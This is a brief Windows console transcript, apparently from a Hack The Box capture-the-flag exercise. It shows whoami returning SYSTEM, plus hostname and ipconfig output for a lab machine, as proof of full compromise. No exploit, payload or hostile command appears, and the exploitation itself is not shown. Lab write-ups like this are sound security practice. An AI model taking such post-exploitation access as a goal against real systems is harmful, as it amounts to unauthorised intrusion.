(c) 2018 Microsoft Corporation. All rights reserved.                                                                                                                        
                                                                                                                                                                            
C:\Windows\system32> whoami                                                           
nt authority\system                                                                   
                                                                                                                                                                            
C:\Windows\system32> hostname                                                                                                                                               
g0

C:\Windows\system32> ipconfig

Windows IP Configuration                                                                                                                                                    


Ethernet adapter Ethernet0 2:                                                                                                                                               

   Connection-specific DNS Suffix  . : .htb                                                                                                                                 
   IPv6 Address. . . . . . . . . . . : dead:beef::8c0e:3d74:811d:18a0                 
   Link-local IPv6 Address . . . . . : fe80::8c0e:3d74:811d:18a0%6                                                                                                          
   IPv4 Address. . . . . . . . . . . : 10.129.228.120                                                                                                                       
   Subnet Mask . . . . . . . . . . . : 255.255.0.0                                                                                                                          
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%6                                                                                                           
                                       10.129.0.1

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